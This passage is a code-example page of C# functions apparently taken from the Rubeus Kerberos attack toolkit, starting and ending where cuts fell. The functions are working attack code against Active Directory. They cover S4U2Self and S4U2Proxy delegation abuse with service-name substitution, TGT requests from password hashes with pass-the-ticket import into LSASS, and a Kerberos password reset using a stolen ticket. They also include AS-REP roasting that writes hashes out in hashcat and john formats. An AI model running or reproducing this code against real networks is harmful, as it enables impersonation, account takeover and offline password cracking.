                AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN });
                req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq);
                byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue();
                cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5);
            }

            // moved to end so we can have the checksum in the authenticator
            PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype, opsec, cksum_Bytes);

            s4u2proxyReq.padata.Add(padata);
            PA_DATA pac_options = new PA_DATA(false, false, false, true);

            s4u2proxyReq.padata.Add(pac_options);

            byte[] s4ubytes = s4u2proxyReq.Encode().Encode();

            Console.WriteLine("[*] Sending S4U2proxy request");
            byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
            if (response2 == null)
            {
                return;
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response2, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
            {
                Console.WriteLine("[+] S4U2proxy success!");

                // parse the response to an TGS-REP
                TGS_REP rep2 = new TGS_REP(responseAsn);

                // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
                byte[]        outBytes2   = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
                AsnElt        ae2         = AsnElt.Decode(outBytes2, false);
                EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);

                if (!String.IsNullOrEmpty(altService))
                {
                    string[] altSnames = altService.Split(',');

                    foreach (string altSname in altSnames)
                    {
                        // now build the final KRB-CRED structure with one or more alternate snames
                        KRB_CRED cred = new KRB_CRED();

                        // since we want an alternate sname, first substitute it into the ticket structure
                        rep2.ticket.sname.name_string[0] = altSname;

                        // add the ticket
                        cred.tickets.Add(rep2.ticket);

                        // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                        KrbCredInfo info = new KrbCredInfo();

                        // [0] add in the session key
                        info.key.keytype  = encRepPart2.key.keytype;
                        info.key.keyvalue = encRepPart2.key.keyvalue;

                        // [1] prealm (domain)
                        info.prealm = encRepPart2.realm;

                        // [2] pname (user)
                        info.pname.name_type   = rep2.cname.name_type;
                        info.pname.name_string = rep2.cname.name_string;

                        // [3] flags
                        info.flags = encRepPart2.flags;

                        // [4] authtime (not required)

                        // [5] starttime
                        info.starttime = encRepPart2.starttime;

                        // [6] endtime
                        info.endtime = encRepPart2.endtime;

                        // [7] renew-till
                        info.renew_till = encRepPart2.renew_till;

                        // [8] srealm
                        info.srealm = encRepPart2.realm;

                        // [9] sname
                        info.sname.name_type   = encRepPart2.sname.name_type;
                        info.sname.name_string = encRepPart2.sname.name_string;

                        // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED
                        Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname);
                        info.sname.name_string[0] = altSname;

                        // add the ticket_info into the cred object
                        cred.enc_part.ticket_info.Add(info);

                        byte[] kirbiBytes = cred.Encode().Encode();

                        string kirbiString = Convert.ToBase64String(kirbiBytes);

                        Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName);

                        if (Rubeus.Program.wrapTickets)
                        {
                            // display the .kirbi base64, columns of 80 chararacters
                            foreach (string line in Helpers.Split(kirbiString, 80))
                            {
                                Console.WriteLine("      {0}", line);
                            }
                        }
                        else
                        {
                            Console.WriteLine("      {0}", kirbiString);
                        }

                        if (!String.IsNullOrEmpty(outfile))
                        {
                            string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}";
                            filename = Helpers.MakeValidFileName(filename);
                            if (Helpers.WriteBytesToFile(filename, kirbiBytes))
                            {
                                Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
                            }
                        }

                        if (ptt)
                        {
                            // pass-the-ticket -> import into LSASS
                            LSA.ImportTicket(kirbiBytes, new LUID());
                        }
                    }
                }
                else
                {
                    // now build the final KRB-CRED structure, no alternate snames
                    KRB_CRED cred = new KRB_CRED();

                    // if we want an alternate sname, first substitute it into the ticket structure
                    if (!String.IsNullOrEmpty(altService))
                    {
                        rep2.ticket.sname.name_string[0] = altService;
                    }

                    // add the ticket
                    cred.tickets.Add(rep2.ticket);

                    // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                    KrbCredInfo info = new KrbCredInfo();

                    // [0] add in the session key
                    info.key.keytype  = encRepPart2.key.keytype;
                    info.key.keyvalue = encRepPart2.key.keyvalue;

                    // [1] prealm (domain)
                    info.prealm = encRepPart2.realm;

                    // [2] pname (user)
                    info.pname.name_type   = rep2.cname.name_type;
                    info.pname.name_string = rep2.cname.name_string;

                    // [3] flags
                    info.flags = encRepPart2.flags;

                    // [4] authtime (not required)

                    // [5] starttime
                    info.starttime = encRepPart2.starttime;

                    // [6] endtime
                    info.endtime = encRepPart2.endtime;

                    // [7] renew-till
                    info.renew_till = encRepPart2.renew_till;

                    // [8] srealm
                    info.srealm = encRepPart2.realm;

                    // [9] sname
                    info.sname.name_type   = encRepPart2.sname.name_type;
                    info.sname.name_string = encRepPart2.sname.name_string;

                    // add the ticket_info into the cred object
                    cred.enc_part.ticket_info.Add(info);

                    byte[] kirbiBytes = cred.Encode().Encode();

                    string kirbiString = Convert.ToBase64String(kirbiBytes);

                    Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN);

                    if (Rubeus.Program.wrapTickets)
                    {
                        // display the .kirbi base64, columns of 80 chararacters
                        foreach (string line in Helpers.Split(kirbiString, 80))
                        {
                            Console.WriteLine("      {0}", line);
                        }
                    }
                    else
                    {
                        Console.WriteLine("      {0}", kirbiString);
                    }

                    if (!String.IsNullOrEmpty(outfile))
                    {
                        string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}";
                        filename = Helpers.MakeValidFileName(filename);
                        if (Helpers.WriteBytesToFile(filename, kirbiBytes))
                        {
                            Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
                        }
                    }

                    if (ptt)
                    {
                        // pass-the-ticket -> import into LSASS
                        LSA.ImportTicket(kirbiBytes, new LUID());
                    }
                }
            }
            else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }
        }
Example #23
0
        public static byte[] InnerTGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verbose = false)
        {
            if (verbose)
            {
                Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString);

                if ((ulong)luid != 0)
                {
                    Console.WriteLine("[*] Target LUID : {0}", (ulong)luid);
                }
            }


            string dcIP = Networking.GetDCIP(domainController, false);

            if (String.IsNullOrEmpty(dcIP))
            {
                throw new RubeusException("[X] Unable to get domain controller address");
            }

            if (verbose)
            {
                Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName);
            }

            byte[] reqBytes = AS_REQ.NewASReq(userName, domain, keyString, etype);

            byte[] response = Networking.SendBytes(dcIP, 88, reqBytes);
            if (response == null)
            {
                throw new RubeusException("[X] No answer from domain controller");
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 11)
            {
                if (verbose)
                {
                    Console.WriteLine("[+] TGT request successful!");
                }

                // parse the response to an AS-REP
                AS_REP rep = new AS_REP(responseAsn);

                // convert the key string to bytes
                byte[] key = Helpers.StringToByteArray(keyString);

                // decrypt the enc_part containing the session key/etc.
                // TODO: error checking on the decryption "failing"...
                byte[] outBytes;

                if (etype == Interop.KERB_ETYPE.des_cbc_md5)
                {
                    // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else if (etype == Interop.KERB_ETYPE.rc4_hmac)
                {
                    // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1)
                {
                    // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
                {
                    // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else
                {
                    throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported");
                }


                AsnElt ae = AsnElt.Decode(outBytes, false);

                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // add the ticket
                cred.tickets.Add(rep.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = encRepPart.realm;

                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;

                // [3] flags
                info.flags = encRepPart.flags;

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart.starttime;

                // [6] endtime
                info.endtime = encRepPart.endtime;

                // [7] renew-till
                info.renew_till = encRepPart.renew_till;

                // [8] srealm
                info.srealm = encRepPart.realm;

                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                if (verbose)
                {
                    string kirbiString = Convert.ToBase64String(kirbiBytes);

                    Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);

                    if (Rubeus.Program.wrapTickets)
                    {
                        // display the .kirbi base64, columns of 80 chararacters
                        foreach (string line in Helpers.Split(kirbiString, 80))
                        {
                            Console.WriteLine("      {0}", line);
                        }
                    }
                    else
                    {
                        Console.WriteLine("      {0}", kirbiString);
                    }
                }

                if (!String.IsNullOrEmpty(outfile))
                {
                    outfile = Helpers.MakeValidFileName(outfile);
                    if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
                    {
                        if (verbose)
                        {
                            Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
                        }
                    }
                }

                if (ptt || ((ulong)luid != 0))
                {
                    // pass-the-ticket -> import into LSASS
                    LSA.ImportTicket(kirbiBytes, luid);
                }

                if (describe)
                {
                    KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
                    LSA.DisplayTicket(kirbi);
                }

                return(kirbiBytes);
            }
            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                throw new KerberosErrorException("", error);
            }
            else
            {
                throw new RubeusException("[X] Unknown application tag: " + responseTag);
            }
        }
Example #24
0
        // to perform the 2 S4U2Self requests
        private static KRB_CRED CrossDomainS4U2Self(string userName, string targetUser, string targetDomainController, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType, bool cross = true, string altService = "", bool self = false, string requestDomain = "", bool ptt = false)
        {
            // die if can't get IP of DC
            string dcIP = Networking.GetDCIP(targetDomainController);

            if (String.IsNullOrEmpty(dcIP))
            {
                return(null);
            }

            Console.WriteLine("[*] Requesting the cross realm 'S4U2Self' for {0} from {1}", targetUser, targetDomainController);
            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, targetUser, ticket, clientKey, etype, requestEType, cross, requestDomain);

            Console.WriteLine("[*] Sending cross realm S4U2Self request");
            byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
            if (response == null)
            {
                return(null);
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 13)
            {
                Console.WriteLine("[+] cross realm S4U2Self success!");

                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);
                // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                byte[]        outBytes   = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
                AsnElt        ae         = AsnElt.Decode(outBytes, false);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // if we want to use this s4u2self ticket for authentication, change the sname
                if (!String.IsNullOrEmpty(altService) && self)
                {
                    rep.ticket.sname.name_type      = 2;
                    rep.ticket.sname.name_string[0] = altService.Split('/')[0];
                    rep.ticket.sname.name_string.Add(altService.Split('/')[1]);
                }

                // add the ticket
                cred.tickets.Add(rep.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = encRepPart.realm;

                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;

                // [3] flags
                info.flags = encRepPart.flags;

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart.starttime;

                // [6] endtime
                info.endtime = encRepPart.endtime;

                // [7] renew-till
                info.renew_till = encRepPart.renew_till;

                // [8] srealm
                info.srealm = encRepPart.realm;

                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;
                // if we're rewriting the S4U2Self sname, change it here too
                if (!String.IsNullOrEmpty(altService) && self)
                {
                    Console.WriteLine("[*] Substituting alternative service name '{0}'", altService);
                    info.sname.name_type      = 2;
                    info.sname.name_string[0] = altService.Split('/')[0];
                    info.sname.name_string.Add(altService.Split('/')[1]);
                }

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                PrintTicket(kirbiBytes, "base64(ticket.kirbi)");

                KRB_CRED kirbi = new KRB_CRED(kirbiBytes);

                if (ptt)
                {
                    // pass-the-ticket -> import into LSASS
                    LSA.ImportTicket(kirbiBytes, new LUID());
                }

                return(kirbi);
            }
            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }
            return(null);
        }
Example #25
0
        public static void UserPassword(KRB_CRED kirbi, string newPassword, string domainController = "")
        {
            // implements the Kerberos-based password reset originally disclosed by Aorato
            //      This function is misc::changepw in Kekeo
            // Takes a valid TGT .kirbi and builds a MS Kpasswd password change sequence
            //      AP-REQ with randomized sub session key
            //      KRB-PRIV structure containing ChangePasswdData, enc w/ the sub session key
            // reference: Microsoft Windows 2000 Kerberos Change Password and Set Password Protocols (RFC3244)

            Console.WriteLine("[*] Action: Reset User Password (AoratoPw)\r\n");

            string dcIP = Networking.GetDCIP(domainController);

            if (String.IsNullOrEmpty(dcIP))
            {
                return;
            }

            // extract the user and domain from the existing .kirbi ticket
            string userName   = kirbi.EncryptedPart.ticket_info[0].pname.name_string[0];
            string userDomain = kirbi.EncryptedPart.ticket_info[0].prealm;

            Console.WriteLine("[*] Changing password for user: {0}@{1}", userName, userDomain);
            Console.WriteLine("[*] New password value: {0}", newPassword);

            // build the AP_REQ using the user ticket's keytype and key
            Console.WriteLine("[*] Building AP-REQ for the MS Kpassword request");
            AP_REQ ap_req = new AP_REQ(userDomain, userName, kirbi.Tickets[0], kirbi.EncryptedPart.ticket_info[0].key.keyvalue, (Interop.KERB_ETYPE)kirbi.EncryptedPart.ticket_info[0].key.keytype, Interop.KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR);

            // create a new session subkey for the Authenticator and match the encryption type of the user key
            Console.WriteLine("[*] Building Authenticator with encryption key type: {0}", (Interop.KERB_ETYPE)kirbi.EncryptedPart.ticket_info[0].key.keytype);
            ap_req.authenticator.subkey         = new EncryptionKey();
            ap_req.authenticator.subkey.keytype = kirbi.EncryptedPart.ticket_info[0].key.keytype;

            // generate a random session subkey
            Random random = new Random();

            byte[]             randKeyBytes;
            Interop.KERB_ETYPE randKeyEtype = (Interop.KERB_ETYPE)kirbi.EncryptedPart.ticket_info[0].key.keytype;
            switch (randKeyEtype)
            {
            case Interop.KERB_ETYPE.rc4_hmac:
                randKeyBytes = new byte[16];
                break;

            case Interop.KERB_ETYPE.aes256_cts_hmac_sha1:
                randKeyBytes = new byte[32];
                break;

            default:
                Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!");
                return;
            }
            random.NextBytes(randKeyBytes);
            ap_req.authenticator.subkey.keyvalue = randKeyBytes;
            Console.WriteLine("[*] base64(session subkey): {0}", Convert.ToBase64String(randKeyBytes));

            // randKeyBytes is now the session key used for the KRB-PRIV structure
            // MIMIKATZ_NONCE ;)
            ap_req.authenticator.seq_number = 1818848256;

            // now build the KRV-PRIV structure
            Console.WriteLine("[*] Building the KRV-PRIV structure");
            KRB_PRIV changePriv = new KRB_PRIV(randKeyEtype, randKeyBytes);

            // the new password to set for the user
            changePriv.enc_part = new EncKrbPrivPart(newPassword, "lol");

            // now build the final MS Kpasswd request
            byte[] apReqBytes      = ap_req.Encode().Encode();
            byte[] changePrivBytes = changePriv.Encode().Encode();
            byte[] packetBytes     = new byte[10 + apReqBytes.Length + changePrivBytes.Length];
            short  msgLength       = (short)(packetBytes.Length - 4);

            byte[] msgLengthBytes = BitConverter.GetBytes(msgLength);
            System.Array.Reverse(msgLengthBytes);

            // Record Mark
            packetBytes[2] = msgLengthBytes[0];
            packetBytes[3] = msgLengthBytes[1];

            // Message Length
            packetBytes[4] = msgLengthBytes[0];
            packetBytes[5] = msgLengthBytes[1];

            // Version (Reply)
            packetBytes[6] = 0x0;
            packetBytes[7] = 0x1;

            // AP_REQ Length
            short apReqLen = (short)(apReqBytes.Length);

            byte[] apReqLenBytes = BitConverter.GetBytes(apReqLen);
            System.Array.Reverse(apReqLenBytes);
            packetBytes[8] = apReqLenBytes[0];
            packetBytes[9] = apReqLenBytes[1];

            // AP_REQ
            Array.Copy(apReqBytes, 0, packetBytes, 10, apReqBytes.Length);

            // KRV-PRIV
            Array.Copy(changePrivBytes, 0, packetBytes, apReqBytes.Length + 10, changePrivBytes.Length);

            // KPASSWD_DEFAULT_PORT = 464
            byte[] response = Networking.SendBytes(dcIP, 464, packetBytes, true);
            if (null == response)
            {
                return;
            }

            try {
                AsnElt responseAsn = AsnElt.Decode(response, false);
                // check the response value
                if (30 == responseAsn.TagValue)
                {
                    // parse the response to an KRB-ERROR
                    long errorCode = new KRB_ERROR(responseAsn.FirstElement).ErrorCode;
                    Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", errorCode, (Interop.KERBEROS_ERROR)errorCode);
                    return;
                }
            }
            catch { }

            // otherwise parse the resulting KRB-PRIV from the server
            int responseIndex  = 0;
            int respRecordMark = Helpers.ParseBigEndianInt32(response, ref responseIndex);
            int respMsgLen     = Helpers.ParseBigEndianInt16(response, ref responseIndex);
            int respVersion    = Helpers.ParseBigEndianInt16(response, ref responseIndex);
            int respAPReqLen   = Helpers.ParseBigEndianInt16(response, ref responseIndex);

            int respKRBPrivLen = respMsgLen - respAPReqLen - 6;

            byte[] respKRBPriv = new byte[respKRBPrivLen];
            Array.Copy(response, responseIndex + respAPReqLen, respKRBPriv, 0, respKRBPrivLen);

            // decode the KRB-PRIV response
            foreach (AsnElt elem in AsnElt.Decode(respKRBPriv, false).FirstElement.EnumerateElements())
            {
                if (3 != elem.TagValue)
                {
                    continue;
                }
                byte[] encBytes    = elem.FirstElement.SecondElement.GetOctetString();
                byte[] decBytes    = Crypto.KerberosDecrypt(randKeyEtype, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, randKeyBytes, encBytes);
                AsnElt decBytesAsn = AsnElt.Decode(decBytes, false);

                byte[] responseCodeBytes = decBytesAsn.FirstElement.FirstElement.FirstElement.GetOctetString();
                Array.Reverse(responseCodeBytes);
                short responseCode = BitConverter.ToInt16(responseCodeBytes, 0);
                if (0 == responseCode)
                {
                    Console.WriteLine("[+] Password change success!");
                }
                else
                {
                    Console.WriteLine("[X] Password change error: {0}", (Interop.KADMIN_PASSWD_ERR)responseCode);
                }
            }
        }
Example #26
0
        // to perform the 2 S4U2Proxy requests
        private static KRB_CRED CrossDomainS4U2Proxy(string userName, string targetUser, string targetSPN, string targetDomainController, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType, Ticket tgs = null, bool cross = true, bool ptt = false)
        {
            string dcIP = Networking.GetDCIP(targetDomainController);

            if (String.IsNullOrEmpty(dcIP))
            {
                return(null);
            }

            string domain       = userName.Split('@')[1];
            string targetDomain = targetUser.Split('@')[1];

            Console.WriteLine("[*] Building S4U2proxy request for service: '{0}' on {1}", targetSPN, targetDomainController);
            TGS_REQ s4u2proxyReq = new TGS_REQ(cname: false);
            PA_DATA padata       = new PA_DATA(domain, userName.Split('@')[0], ticket, clientKey, etype);

            s4u2proxyReq.padata.Add(padata);
            PA_DATA pac_options = new PA_DATA(false, false, false, true);

            s4u2proxyReq.padata.Add(pac_options);

            s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT;
            s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;
            s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK;

            if (cross)
            {
                s4u2proxyReq.req_body.realm = targetDomain;
            }
            else
            {
                s4u2proxyReq.req_body.realm = domain;
            }

            string[] parts      = targetSPN.Split('/');
            string   serverName = parts[parts.Length - 1];

            s4u2proxyReq.req_body.sname.name_type = 2;
            foreach (string part in parts)
            {
                s4u2proxyReq.req_body.sname.name_string.Add(part);
            }

            // supported encryption types
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);

            // add in the ticket from the S4U2self response
            s4u2proxyReq.req_body.additional_tickets.Add(tgs);

            byte[] s4ubytes = s4u2proxyReq.Encode().Encode();

            Console.WriteLine("[*] Sending S4U2proxy request");
            byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
            if (response2 == null)
            {
                return(null);
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response2, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 13)
            {
                Console.WriteLine("[+] S4U2proxy success!");

                // parse the response to an TGS-REP
                TGS_REP rep2 = new TGS_REP(responseAsn);

                // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
                byte[]        outBytes2   = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
                AsnElt        ae2         = AsnElt.Decode(outBytes2, false);
                EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);

                // now build the final KRB-CRED structure, no alternate snames
                KRB_CRED cred = new KRB_CRED();

                // add the ticket
                cred.tickets.Add(rep2.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart2.key.keytype;
                info.key.keyvalue = encRepPart2.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = encRepPart2.realm;

                // [2] pname (user)
                info.pname.name_type   = rep2.cname.name_type;
                info.pname.name_string = rep2.cname.name_string;

                // [3] flags
                info.flags = encRepPart2.flags;

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart2.starttime;

                // [6] endtime
                info.endtime = encRepPart2.endtime;

                // [7] renew-till
                info.renew_till = encRepPart2.renew_till;

                // [8] srealm
                info.srealm = encRepPart2.realm;

                // [9] sname
                info.sname.name_type   = encRepPart2.sname.name_type;
                info.sname.name_string = encRepPart2.sname.name_string;

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                string kirbiString = Convert.ToBase64String(kirbiBytes);

                Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN);

                if (Rubeus.Program.wrapTickets)
                {
                    // display the .kirbi base64, columns of 80 chararacters
                    foreach (string line in Helpers.Split(kirbiString, 80))
                    {
                        Console.WriteLine("      {0}", line);
                    }
                }
                else
                {
                    Console.WriteLine("      {0}", kirbiString);
                }
                Console.WriteLine("");

                if (ptt && cross)
                {
                    // pass-the-ticket -> import into LSASS
                    LSA.ImportTicket(kirbiBytes, new LUID());
                }

                KRB_CRED kirbi = new KRB_CRED(kirbiBytes);

                return(kirbi);
            }
            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }

            return(null);
        }
Example #27
0
        public static void GetASRepHash(string userName, string domain, string domainController = "", string format = "", string outFile = "")
        {
            // roast AS-REPs for users without pre-authentication enabled

            string dcIP = Networking.GetDCIP(domainController);

            if (String.IsNullOrEmpty(dcIP))
            {
                return;
            }

            Console.WriteLine("[*] Building AS-REQ (w/o preauth) for: '{0}\\{1}'", domain, userName);
            byte[] reqBytes = AS_REQ.NewASReq(userName, domain, Interop.KERB_ETYPE.rc4_hmac);

            byte[] response = Networking.SendBytes(dcIP, 88, reqBytes);
            if (response == null)
            {
                return;
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 11)
            {
                Console.WriteLine("[+] AS-REQ w/o preauth successful!");

                // parse the response to an AS-REP
                AS_REP rep = new AS_REP(response);

                // output the hash of the encrypted KERB-CRED in a crackable hash form
                string repHash = BitConverter.ToString(rep.enc_part.cipher).Replace("-", string.Empty);
                repHash = repHash.Insert(32, "$");

                string hashString = "";
                if (format == "john")
                {
                    hashString = String.Format("$krb5asrep${0}@{1}:{2}", userName, domain, repHash);
                }
                else if (format == "hashcat")
                {
                    hashString = String.Format("$krb5asrep$23${0}@{1}:{2}", userName, domain, repHash);
                }
                else
                {
                    Console.WriteLine("Please provide a cracking format.");
                }

                if (!String.IsNullOrEmpty(outFile))
                {
                    string outFilePath = Path.GetFullPath(outFile);
                    try
                    {
                        File.AppendAllText(outFilePath, hashString + Environment.NewLine);
                    }
                    catch (Exception e)
                    {
                        Console.WriteLine("Exception: {0}", e.Message);
                    }
                    Console.WriteLine("[*] Hash written to {0}\r\n", outFilePath);
                }
                else
                {
                    Console.WriteLine("[*] AS-REP hash:\r\n");

                    // display the base64 of a hash, columns of 80 chararacters
                    if (Rubeus.Program.wrapTickets)
                    {
                        foreach (string line in Helpers.Split(hashString, 80))
                        {
                            Console.WriteLine("      {0}", line);
                        }
                    }
                    else
                    {
                        Console.WriteLine("      {0}", hashString);
                    }
                    Console.WriteLine();
                }
            }
            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }
        }
Example #28
0
